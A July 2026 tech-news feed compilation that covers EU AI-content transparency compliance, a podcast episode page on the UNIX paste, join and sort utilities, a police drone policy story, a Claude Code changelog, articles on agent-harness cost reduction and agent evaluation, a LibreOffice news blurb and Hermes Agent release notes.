Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance 

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

HPR4687: UNIX Curio #11 - Merging Files
Tue, 21 Jul 2026 02:03:23 +0200
This show has been flagged as Clean by the host.

ether

This series is dedicated to exploring little-known—and occasionally useful—trinkets lurking in the dusty corners of UNIX-like operating systems.

I frequently find myself reaching for the 
cut
 utility when writing scripts to extract one piece of data from a line, or to select specific fields from a log file. While I am familiar with its counterpart, 
paste
, I don't employ it very often because I don't typically need its functionality.

This perhaps has to do with the fact that I rarely work with text files containing lists. For shorter lists, I usually end up using a spreadsheet and for larger ones, a relational database. Both are valuable tools with their own strengths and weaknesses, but it is good to also know about standard utilities for working with lists. After uploading UNIX Curio #8 (
HPR episode 4657
), I felt like maybe I had been too dismissive of the 
comm
 utility in that episode and should talk more about tools that are useful when managing lists.

I don't frequently find myself using 

paste

¹
, but can explain how it works. Briefly, it is a rough opposite of 
cut
—when given multiple files as arguments, it assembles the first line from each one separated by tabs, then the second line, and so on. Instead of tabs, a different delimiter can be chosen with the 
-d
 option. Another option is 
-s
, which swaps rows and columns so that the contents of each named file would appear on one line. While 
paste
 itself doesn't qualify as a UNIX Curio in my opinion, there is one feature that does: a hyphen can be given as an argument multiple times. In this special case, the output is taken line by line from standard input, but is spread across as many columns as there are hyphens.

Example of using 

paste

 to turn the output of 

ls

 into columns. Because these columns are separated by tabs, they don't necessarily line up when a filename is eight or more characters long. The 

-1

 is not required for the second 

ls

 command since that behavior is implied when output isn't going to a terminal. The 

-C

 option to 

ls

 usually gives nicer-looking output on a terminal—also, it lists in ascending order down by column. (Most implementations default to 

-C

 when output goes to a terminal.) If you want items ascending along rows like the 

paste

 example does, try 

ls -x

 instead.

$ ls -1 /proc/net
anycast6
arp
bnep
connector
dev
dev_mcast
dev_snmp6
fib_trie
fib_triestat
hci
icmp
icmp6
if_inet6
igmp
igmp6
ip6_flowlabel
ip6_mr_cache
ip6_mr_vif
ip_mr_cache
ip_mr_vif
ip_tables_matches
ip_tables_names
[...35 more entries not shown...]
$ ls /proc/net | paste - - - -
anycast6        arp     bnep    connector
dev     dev_mcast       dev_snmp6       fib_trie
fib_triestat    hci     icmp    icmp6
if_inet6        igmp    igmp6   ip6_flowlabel
ip6_mr_cache    ip6_mr_vif      ip_mr_cache     ip_mr_vif
ip_tables_matches       ip_tables_names ip_tables_targets       ipv6_route
l2cap   mcfilter        mcfilter6       netfilter
netlink netstat packet  protocols
psched  ptype   raw     raw6
rfcomm  route   rt6_stats       rt_acct
rt_cache        sco     snmp    snmp6
sockstat        sockstat6       softnet_stat    stat
tcp     tcp6    udp     udp6
udplite udplite6        unix    wireless
xfrm_stat
$ ls -C /proc/net
anycast6      if_inet6           l2cap      rfcomm        tcp
arp           igmp               mcfilter   route         tcp6
bnep          igmp6              mcfilter6  rt6_stats     udp
connector     ip6_flowlabel      netfilter  rt_acct       udp6
dev           ip6_mr_cache       netlink    rt_cache      udplite
dev_mcast     ip6_mr_vif         netstat    sco           udplite6
dev_snmp6     ip_mr_cache        packet     snmp          unix
fib_trie      ip_mr_vif          protocols  snmp6         wireless
fib_triestat  ip_tables_matches  psched     sockstat      xfrm_stat
hci           ip_tables_names    ptype      sockstat6
icmp          ip_tables_targets  raw        softnet_stat
icmp6         ipv6_route         raw6       stat
$ ls -x /proc/net
anycast6           arp              bnep               connector     dev
dev_mcast          dev_snmp6        fib_trie           fib_triestat  hci
icmp               icmp6            if_inet6           igmp          igmp6
ip6_flowlabel      ip6_mr_cache     ip6_mr_vif         ip_mr_cache   ip_mr_vif
ip_tables_matches  ip_tables_names  ip_tables_targets  ipv6_route    l2cap
mcfilter           mcfilter6        netfilter          netlink       netstat
packet             protocols        psched             ptype         raw
raw6               rfcomm           route              rt6_stats     rt_acct
rt_cache           sco              snmp               snmp6         sockstat
sockstat6          softnet_stat     stat               tcp           tcp6
udp                udp6             udplite            udplite6      unix
wireless           xfrm_stat

The 
paste
 command has limitations—the files you give it must all be already arranged in the same order, and if any file is missing a value, it must have a blank line so that subsequent lines will match up correctly. The files do 
not
 necessarily have to be sorted alphabetically, but whatever order they are in has to be the same. Check out HPR episodes 
962
 and 
4201
 for some more background on the 
paste
 utility.

Example of using 

paste

 with files where some values are empty. Bob works from home so doesn't have an office assigned, and the laboratory Carol works in doesn't have a phone. This relies on the fact that the same line number in every file relates to the same person/entry.

$ cat names
Alice
Bob
Carol
Dave
$ cat offices
203

Lab6A
117
$ cat phones
+1 212-555-1234
+1 919-555-2345

+1 212-555-1278
$ paste names offices phones
Alice   203     +1 212-555-1234
Bob             +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278

Our second UNIX Curio for today is 
a utility called 

join

²
, which has a bit more sophistication. It operates on two files, which can have multiple columns, and combines them using the join field. By default, the first column/field in each file is the join field, and only entries that exist in both files are printed. The 
-1
 and 
-2
 options can be used to join on a different field, and 
-o
 selects specific fields to be output. To make it so lines with missing entries also appear, you need to use the 
-a
 option, but an actual empty string with separator won't be printed unless 
-o
 is also present and includes the field.

The default field separator character is one or more "blanks" in the current locale—for the POSIX locale, this means a space or a horizontal tab. The 
-t
 option selects a different character and also removes the treatment of multiple occurrences as a single separator, making it possible to have an empty field in one or both of the files. By default, a single space is used to separate fields in the output. If 
-t
 is given, the same character is used for separating fields in both input and output. You would need to pipe output through another tool like 
tr
 if you wanted to have a different separator in the output.

The 
join
 utility might be an improvement over 
paste
 in some cases, since the join field makes it a little easier to identify which entries match up across files. It is limited to operating only on two files (one of which can be standard input), so combining more than that requires either creating temporary intermediate files or chaining together 
join
 commands in a pipeline. Another requirement is that all files must already be sorted in the current locale.

Example showing how 

join

 can be used with two tab-separated lists. The LC_ALL assignment forces 

join

 to sort using the C (POSIX) locale instead of whatever might be set in your environment. The "@" on the header line has no special meaning; it is just there to make sure it sorts before any letters or numbers (in the C locale; it might not in other locales). Note that if 

-t

 were not specified, 
plist
 would be treated as having three fields because of the space separating the country code from the rest of the phone number.

$ export tab="$(printf '\t')" #To more easily use tab characters below
$ cat olist
@Name   Office
Alice   203
Carol   Lab6A
Dave    117
$ cat plist
@Name   Phone
Alice   +1 212-555-1234
Bob     +1 919-555-2345
Dave    +1 212-555-1278
$ LC_ALL=C join -t "$tab" olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Dave    117     +1 212-555-1278
$ LC_ALL=C join -t "$tab" -a 1 -a 2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob     +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278
$ #By default, join acts as if empty fields don't exist; use -o to include
$ LC_ALL=C join -t "$tab" -a 1 -a 2 -o 0,1.2,2.2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob             +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278
$ #The -e option sets a placeholder to use for empty fields
$ LC_ALL=C join -t "$tab" -e "(none)" -a 1 -a 2 -o 0,1.2,2.2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob     (none)  +1 919-555-2345
Carol   Lab6A   (none)
Dave    117     +1 212-555-1278

The brief description for 
join
 is "relational database operator"—I won't dispute that, but in my view it offers far fewer capabilities than people would expect from today's relational databases. I would imagine that when most people think of those they have Structured Query Language (SQL) in mind, which offers a lot more flexibility and functions to operate on data. However, I can see how 
join
 could be suitable for simple operations.

Our last UNIX Curio for today relates to 
the 

sort

 utility

³
. While, as you might expect, it is well-known for its ability to sort data, it has another feature that is more obscure. When used with the 
-m
 option, instead of sorting the files given as arguments, it merges them together. All of the files are expected to already be sorted—once combined, the list that is output will also be sorted. The order in which the files are named does 
not
 matter; it is not required for the contents of the first file to start before the second, just that both are sorted.

$ cat women
Alice
Carol
$ cat men
Bob
Dave
$ sort -m men women
Alice
Bob
Carol
Dave

Imagine that you organize an annual event and have a separate pre-sorted list of attendees' e-mail addresses for each of the past three years. You are planning this year's event and want to send out an announcement to all of these people, as they will probably be interested. The command 
sort -m -u 2023list 2024list 2025list
 would spit out a combined list that you can use for your e-mail blast. Because it is likely that some people would have attended in more than one year, I included the 
-u
 option—it removes any duplicate entries.

It is probably no surprise that the 
sort
 utility appeared early on—it was in 1971's First Edition UNIX, though it didn't 
gain the merging functionality until Fifth Edition

⁴
 in 1973. What 
did
 come as a shock to me is that both 
cut
 and 

paste

 didn't show up until 1980 with System III

⁵
, and were actually preceded by 

join

, which was in Seventh Edition UNIX

⁶
 from 1979. I assumed that at least 
cut
 would have been around far earlier, given its usefulness and how firmly established it is, but I suppose it just 
seems
 to have been with us forever.

As mentioned, I don't typically manage data as text files containing lists, and I probably won't start using the 
join
 utility or these features of 
paste
 and 
sort
 very much. But it is still useful to know that they exist and how they work. Hopefully this episode has taught you a bit about them.

References:

Paste specification
 https://pubs.opengroup.org/onlinepubs/9699919799/utilities/paste.html

Join specification
 https://pubs.opengroup.org/onlinepubs/9699919799/utilities/join.html

Sort specification
 https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sort.html

A Research UNIX Reader: Fifth Edition sort manual page
 https://archive.org/details/a_research_unix_reader/page/n19/mode/1up

System III paste manual page
 https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/man/man1/paste.1

Seventh Edition UNIX join manual page
 https://man.cat-v.org/unix_7th/1/join

Provide feedback on this episode.

New Orleans Cops Published Policy Document Allowing Weaponized Drones
Tue, 21 Jul 2026 01:23:15 +0200
A draft New Orleans Police Department drone manual briefly published online would have allowed police drones to carry weapons with written approval from the superintendent, according to 404 Media. NOPD says the document was only an early draft and that its current policy (PDF) bans drones from carrying weapons or hazardous materials. 404 Media reports: The current version, live as of July 1, has different language: "The sUAS shall not be equipped with weapons or hazardous materials of any kind," referring to small Unmanned Aerial Systems, or drones. According to the NOPD, the operations manual it published to the internet with the rules for weaponized drones was an early draft. "The manual published on July 1 is the current published version of the policy. Earlier versions were draft versions that were presented for review before adoption of the current policy," NOPD told 404 media. "NOPD has made it clear we are not and will not be equipping drones with weapons or other hazardous materials."

NOPD didn't answer follow-up questions about how or why the draft version of the manual was published. But the publication of a police drone manual that opens the door for weaponized quadcopters is important, and comes as drone companies and police flirt with the idea of putting weapons on their drones. New Orleans has long been a pioneer of camera and drone driven policing and the cops have used controversial tactics to get around public scrutiny and regulations. It shows that what the police are circulating amongst themselves and thinking about privately, what they perhaps want to happen, does not match public policy.

Read more of this story at Slashdot.

v2.1.216
Tue, 21 Jul 2026 00:16:52 +0200
What's changed

Added sandbox.filesystem.disabled setting to skip filesystem isolation while keeping network egress control
Fixed a slowdown in long sessions where message normalization cost grew quadratically with the number of turns, causing multi-second stalls and slow resumes
Fixed auto mode denying commands with "HTTP 401" classifier errors after the OAuth token expired or rotated mid-session
Fixed AskUserQuestion telling Claude to continue even when your answer asked it to wait or explain first — free-text answers now get neutral wording
Fixed Claude Code on the web re-asking the same question and dropping your answer after the session sat idle for a few minutes
Fixed @-mentions silently attaching nothing after file-modifying hooks, vim dot-repeat of c-operators and paste, statusline running twice on resume, and resume-picker hangs on failure
Fixed resumed background agent sessions reverting to the default agent: the agent's prompt and tool restrictions are now restored
Fixed worktree-isolated subagents redirecting git into the shared checkout via git -C, --git-dir, or GIT_DIR/GIT_WORK_TREE
Fixed worktree sessions landing in another project's leftover worktree when the working directory did not match the selected project
Fixed background sessions whose worktree has no git repository being undeletable
Fixed claude daemon stop --any potentially terminating an unrelated process via a stale legacy daemon lockfile
Fixed Esc-Esc at an idle prompt not opening the rewind picker in long-running sessions with background tasks
Fixed Bash command permission checking for compound statements with redirects inside && lists or negations
Fixed pressing Ctrl+X twice in the agent list failing to delete a session, and deleted sessions reappearing when their background worker had died
Fixed background subagents getting cancelled when a high-priority message arrives during their startup window
Fixed mouse and focus garbage in the terminal while a GUI editor from /memory, /plan, /keybindings, or Ctrl+G is open; /memory no longer waits for the editor to close
Fixed Claude-in-Chrome 403-looping on reconnect when the session's OAuth token lacks a required scope
Fixed workflow saves and scheduled-task writes following a symlink at .claude, which could redirect writes outside the project
Fixed MCP re-authenticate revoking working credentials before the new sign-in succeeds, and the reconnect needs-auth message in background sessions pointing at an unusable command
Fixed read-only commands on Windows accessing network paths without a permission prompt
Fixed Bash command parsing of non-ASCII characters to match real shell word boundaries
Fixed PowerShell tool permission validation of commands containing invisible Unicode characters
Fixed dialogs in fullscreen mode stretching past the right-hand edge of their panel
Fixed the /config settings list in fullscreen mode clipping its keyboard-hint footer
Fixed the transcript-mode (Ctrl+O) footer hint wrapping on terminals narrower than 104 columns
Fixed the Prometheus metrics endpoint (OTEL_METRICS_EXPORTER=prometheus) emitting invalid # UNIT lines
Fixed skills and commands changed during a session not appearing in the slash menu until restart
Fixed plugin skills with a name frontmatter field losing their plugin prefix in slash-command autocomplete
Fixed telemetry misreporting permission denials: failed permission-prompt requests no longer count as user rejections, and user interrupts are now reported as user aborts instead of rejections
Improved the /fork confirmation to one line with the new session's name, claude attach id, and a note when the copy shares your checkout
Improved validation of git and gh command arguments in the PowerShell tool
Improved the /ultrareview diff-too-large error to show configured limits, measured diff size, and largest contributing files
Improved /code-review ultra empty-diff message to name the exact base ref and suggest passing an explicit base
Improved the spend limit adjustment prompt to show the server's reason when a spend limit change is rejected
/context now shows an explicit warning when the conversation exceeds the context window, and a failed /compact displays as an error
/rewind no longer restores or deletes files through symlinks or hard links at tracked paths and reports how many paths it skipped
Background sessions: /mcp and /install-github-app now park a "needs input" request in the agent view when no client is attached
Updated the bundled dataviz skill: reordered the default chart palette and fixed guidance that suggested direct labels for four-series charts
[VSCode] Fixed right-to-left text (Arabic, Hebrew, Persian) rendering in the wrong order when mixed with English or code
Fixed cloud sessions dropping the in-flight message when the session's container restarts mid-turn — the interrupted turn now re-runs on resume instead of leaving the session unresponsive

Writer's AI harness cuts token spend nearly 40% — without sacrificing accuracy
Mon, 20 Jul 2026 23:48:13 +0200
Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.
A new paper from researchers at Writer provides a solution that is accessible to engineering teams. The study takes a systematic look at optimizing the different components of the orchestration layer that wraps around the foundation model, aka the AI harness. 
By optimizing the harness, the researchers show dramatic reductions in tokens per task, a drop in cost-per-successful-task by up to 61%, and quality that holds steady, all without changing the underlying foundation model.
Because the harness is fully under the developer's control and requires no model fine-tuning, engineering teams can apply these findings to build highly cost-efficient AI applications.
The ROI crisis of tokenmaxxing
The current state of AI engineering is plagued by "tokenmaxxing," an industry trend where developers rely on massive context windows and brute-force token consumption as a substitute for good system design. 
Rather than engineering elegant workflows, developers have imported a reflex from traditional software development: generate, run, fail, stuff the error and more context back into the window, and retry. 
"Teams tokenmaxx because it's the cheapest fix in the moment, and because it's literally how most engineers work today," Waseem AlShikh, CTO and co-founder of Writer, told VentureBeat. Because this approach succeeds often enough on coding tasks, it has become the default reflex for every other agentic workload. The danger is that per-token price drops mask the underlying inefficiency. 
"Your invoice is tokens-per-task times price-per-token, and most teams only watch the second number," AlShikh said. "In agentic workloads, tokens-per-task compounds — every loop iteration re-transmits the growing context — and it compounds faster than prices fall. The price cut becomes an anesthetic. It masks the fact that the loop itself is bleeding."
Tokenmaxxing leads to several enterprise failure modes. Teams route simple tasks to premium frontier models by default. They use the LLM as a lazy search index, stuffing the context window with raw documents instead of retrieving exact answers. Most destructively, they build unconstrained agentic loops that spiral out of control when the model encounters an error. Because output tokens cost significantly more than input tokens across all major model providers, inefficient task execution acts as a silent budget killer.
The industry has introduced several efficiency techniques to curb these costs, but they largely fall short because they treat the model in isolation: 
Prompt compression condenses input text to save space, but ignores how the system sequences those inputs across complex workflows. 
Budgeted reasoning caps the computational steps a model can take, which often degrades output quality if the workflow isn't intelligently routed. 
Terse coding forces models to output minimal code to save output tokens, but does nothing to solve inefficient tool calling. 
Speculative decoding uses a smaller draft model to speed up a larger model's text generation, optimizing inference speed while failing to address bloated agent architectures.
These efforts fail because they optimize the engine while ignoring the transmission. They do not look at the orchestration layer, leaving underlying architectural inefficiencies unresolved.
Unpacking the harness: the levers of efficiency
The harness is the orchestration layer that routes, formats, and turns the underlying LLM into a working system.
The core levers of harness optimization include system prompt caching, interaction history compaction, tool management, retrieval strategies, and error management. These are the most accessible intervention points for engineering teams looking to improve AI performance. 
As the Writer researchers note in the study: “If the harness is the layer that composes model calls into work, it is also the layer that sets the price of work.”
Historically, developers have treated the harness as disposable glue code designed simply to connect an API to a user interface. The study signals that the harness must now be treated as a first-class object: a primary software artifact that requires its own testing, versioning, and rigorous design. 
For enterprises, this reframes the "own-versus-rent" decision. 
"Enterprises spend months on model evaluations and then rent their orchestration off the shelf — which means they're optimizing the smaller lever and outsourcing the bigger one," AlShikh said. "Whoever owns the harness owns your unit economics, and an open framework tuned for demos is not tuned for your invoice." 
Inside the experiments
To isolate the impact of the orchestration layer, the researchers ran experiments on six foundation models spanning multiple vendors and weight classes: Claude Sonnet 4.6, Gemini 3.1, Gemini Flash 3.5, Qwen 3.6, GLM 5.1, and Writer’s own model, Palmyra X6. 
Their experiments compared a frozen, conventional production agent loop against the finished Writer Agent Harness on the same 22 locked enterprise tasks, spanning capabilities like grounding and retrieval, multi-step workflows, tool use, and content generation. By holding the models and tasks constant, they could isolate the effects of the orchestration layer itself.
The optimized harness drove a significant drop in costs, cutting the blended cost per task by 41%, from 21 cents to 12 cents. This was largely achieved by slashing token consumption, with the number of tokens per task falling 38%, from 14.2k to 8.8k.
The harness is designed to delegate tasks like search to specialized sub-agents. A sub-agent receives only the tool and the specific query it needs, retrieves the exact data, and returns a capped, clean summary to the main agent — keeping the primary context window from filling up with raw search results.
Task success rates held steady even as token use fell — moving from 78% to 81%, a gain the researchers describe as directional rather than statistically significant at their sample size, meaning quality didn't suffer even as costs dropped.
End-to-end task latency also dropped significantly, reducing the median wall-clock time by 44%, from 48 seconds to 27 seconds, due to prompt caching and the elimination of dead-end reasoning loops.
However, the researchers also found limits to multi-agent orchestration. Smaller models like Gemini Flash 3.5 and Qwen 3.6 scored well below a usable reliability threshold on sub-agent delegation tasks (0.45 and 0.42, respectively) — the capability simply isn't dependable yet on lighter-weight models.
Sub-agent orchestration only crossed a usable reliability threshold on the two strongest models tested: Writer's own Palmyra X6 (0.86) and Claude Sonnet 4.6 (0.85).
The developer’s playbook: actionable takeaways and tradeoffs
The findings from the study translate into a playbook for enterprise developers building agentic workflows at scale. The first step is to implement what AlShikh calls the "Two-Zone Prompt" and "Context Offloading."
Structure for system prompt caching (The Two-Zone Prompt): Modern LLM APIs offer prompt caching, but developers must structure their payloads correctly to trigger it. Developers must separate the "stable zone" from the "volatile zone." Place static, unchanging elements (e.g., core rules, large tool schemas, and standard operating procedures) at the top of the prompt. Dynamic elements, such as the specific user query or recent conversational task state, must be appended at the bottom. This ordering allows the harness to reuse the cached prefix across hundreds of calls. "That single separation makes prompt caching actually work and stops you from re-paying for the same instructions on every one of an agent's thirty steps," AlShikh said.
Manage context with Context Offloading: Avoid context stuffing, where every turn of a loop is appended into a monolithic prompt until the window maxes out. Instead, move history and intermediate artifacts out of the window into retrievable storage, and pull back only what the current step needs. If possible, delegate tasks to single-purpose sub-agents to avoid context bloat. As AlShikh points out, "the biggest line item in agent spend isn't reasoning — it's re-sending things the model has already seen."
Build resilient loops and redefine KPIs: Unmanaged agent loops drain API budgets rapidly. Teams must begin tracking Completions Per Million tokens (CPM) to understand their true task costs, but the harness itself must contain physical guardrails. "The core principle is that you never ask the model to police its own spending," AlShikh said. "The fence has to live below the model, in code, on your side of the API." This requires three hard checks:
Hard per-task token budgets: The run terminates when the budget is spent, no exceptions.
Generation fencing: Caps on steps, tool calls, and recursion depth to stop non-converging agents. 
Failure-spend governance: Cap what a run can spend after its first failed validation so a failing task doesn't become your most expensive task.
Avoid unnecessary complexity: Optimizing the orchestration layer comes with engineering overhead. If you're in the prototyping and exploration stage, that overhead isn't justified — iterate fast with a strong model and a light harness. Once you're scaling to millions of requests a day, the savings from harness optimization become substantial.
However, teams must be aware of "harness leverage." Adding structural scaffolding requires the model to hold and obey that context. If a model is too small, it will spend its limited capacity parsing the scaffolding instead of doing the task, causing accuracy to drop and tokens to rise. The rule for adding complex orchestration features is strictly mathematical: "If a feature adds more coordination tokens than it removes task tokens for that specific model, cut it," AlShikh said. "Nothing in the harness is free."
The future of the enterprise harness
The era of tokenmaxxing and treating context windows like bottomless buckets is coming to an end. Throwing more compute at poorly designed systems is not a viable strategy for companies that need to demonstrate a return on their AI investments. 
As foundation models evolve to absorb planning, tool selection, and multi-step reasoning natively into their weights, the role of the harness will shift from compensating for model weakness to enforcing enterprise policy.
"What never moves into the model is the 'allowed': budgets, permissions, data boundaries, audit trails, deterministic kill-switches," AlShikh said. "Five years from now, the harness will be thinner but more important. There will be less scaffolding and more governance. However capable the model gets, someone external to it still has to define what it may spend, see, and touch. That layer belongs to the enterprise, and it should never be rented."

A single AI agent conversation can look perfect and still be broken, leaders from LangChain, Conviva and CoreWeave said at VB Transform 2026
Mon, 20 Jul 2026 22:48:13 +0200
A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.
At VB Transform 2026, Harrison Chase, CEO of LangChain; Hui Zhang, CTO and co-founder of Conviva; and Emmanuel Turlay, director of engineering at CoreWeave, described that shift, along with a parallel move toward cheaper, narrower judge models.
Agent-as-judge — judging one AI agent's output with another — hasn't replaced LLM-as-judge, which Chase said remains the default. The larger tension, Zhang said, is between automated judging, whether by LLM or agent, and human review.
"You have scalable but ungrounded, whether it's agents as judge or LLMs as judge, you grade the outcome, you grade the work. It still is very difficult to ground it and then you use humans and that's just not scalable," Zhang said. "The whole industry is facing this, which poison you want to pick."
Evaluation criteria now function as the product spec
That gap — a conversation that scores well but still signals a broken product — is what teams try to close by building an exhaustive evaluation suite before they ship anything. Chase said that doesn't work.
"We sometimes see teams that have almost eval paralysis," Chase said. "They're like, this is an eval set, I can't launch it. The best teams launch and then iterate."
Chase framed evaluation criteria as a living specification, not a one-time test suite: a product requirements document — the standard software-development spec for what an application should do. "Evals are like the new PRD," he said. "They define what your agent should and shouldn't do."
Turlay described hitting the same failure from a different angle. "I was trying to reach 100% coverage for my tests, and I still had bugs in production," he said — a test suite that looked complete but still missed what mattered, the same gap Chase was describing with evals.
Broad, always-on monitoring, he said, catches more real failures than an exhaustive pre-launch test suite. Teams should set up wide online checks first, use those to identify failure classes as they occur, then build a targeted offline evaluation set around the problems that surface.
Why scoring traces one at a time is a mistake
Even a well-built evaluation process can still score the wrong thing. Zhang's objection is to how most teams run evaluation: sampling traces, whether 50 of them or a full population, scoring each in isolation. That approach misses a signal that only shows up when comparing cohorts of users against a baseline, a method Zhang calls contrastive analysis.
Zhang illustrated it with a retail example: a shopper asks an agent for a running shoe ahead of a half marathon, the agent asks qualifying questions, and the shopper buys a shoe. Scored individually, that interaction looks fine. But the clarification ratio, how many follow-up questions an agent asks before completing a task, came in three times higher than baseline for that shoe category across the full user population. A second metric, how often shoppers finished their purchase outside the conversation, was five times higher than baseline for the same category.
Neither number is visible from a single trace. Both point to a debuggable, category-specific problem. Zhang said the industry also lacks a second data source: what happens before, between and after the conversation, not just the trace itself.
Sizing the judge to the job
Once contrastive analysis flags which category is actually broken, the next problem is what watches for it going forward — and at what cost. Turlay's rule was to start with the most capable model available to prove a task is solvable, then work down. If it can't be done with a top-tier model, he said, it won't work with a smaller one. Once a pattern proves viable, teams can sample a fraction of traffic instead of judging every interaction, and move simpler tasks like binary classification to smaller open source models.
LangChain took that further, fine-tuning its own model to detect when a user believes the agent made a mistake, a signal Chase calls perceived error. "The model we fine-tuned was a Qwen model," he said, referring to Alibaba's open source family. Combining hand labeling with distillation, the result performed well. "Same as [Claude]Sonnet, for, depending on how we served it, either 10 to 100x cost reduction," Chase said.
Not every guardrail needs a model. Chase pointed to Claude Code's own guardrails as proof: regexes, the common programming technique for finding and validating patterns in code. "A lot of the guardrails they had were just regexes," he said. "They weren't small LLMs, they were just regexes."
LLM-as-judge doesn't mean human-in-the-loop disappears
The bigger question is whether using LLM as a judge removes the need for a human in the loop.
Turlay pointed to accountability, drawing on his prior work at a self-driving car company. His team compressed data intake and retraining into a two-week cycle for shipping a new model to the car. Even then, someone still had to sign off.
"I felt confident on behalf of the company to say this model should go into the car," he said. The same logic extends to legal, finance and healthcare. "Before we can remove a human to say, I endorse this and I take responsibility legally for it, it's going to be a while before agents can do that on their own."
Zhang agreed a human has to remain the guardian on corner cases, even as automation eventually runs at a scale that beats individual human accuracy — machines can see more at the pattern level. 
Chase went further: that human check isn't just a safety net. "Human in the loop is really important for building trust in how these agentic systems work, and also really important for memory and learning from systems," he said. "There has to be interactions in order for the system to learn."

LibreOffice schießt gegen Microsoft - Scharfe Kritik an Office-Formaten
Mon, 20 Jul 2026 21:35:18 +0200

			LibreOffice kritisiert die Dateiformate von Microsoft Office erneut scharf. Der Vorwurf lautet, dass Anwender durch gezielte Inkompatibilitäten in die Abhängigkeit getrieben werden. Auch die Langzeitarchivierung von digitalen Unterlagen sei dadurch bedroht.			(Weiter lesen)

Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release
Mon, 20 Jul 2026 20:46:40 +0200
Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026

Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped ~80% on every platform, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now manage your Nous subscription without leaving the terminal, plug Bitwarden and 1Password straight into Hermes, let smart approvals judge flagged commands for you by default, watch your subagents work live, and trust that a finished response survives a gateway crash thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.

✨ Highlights

Hermes got dramatically faster — first token in a fraction of the time — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you see while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (#59332, #59389 — @teknium1)

The desktop app speed wave — 20+ targeted perf PRs — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (#67154, #67818, #65898, #66033, #66747, #67742 and more — @OutThisLife)

Manage your Nous plan from the terminal — /subscription and /topup — Changing your subscription used to mean a trip to the billing website. Now /subscription opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 & upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (#51639, #61054, #61067 — @alt-glitch)

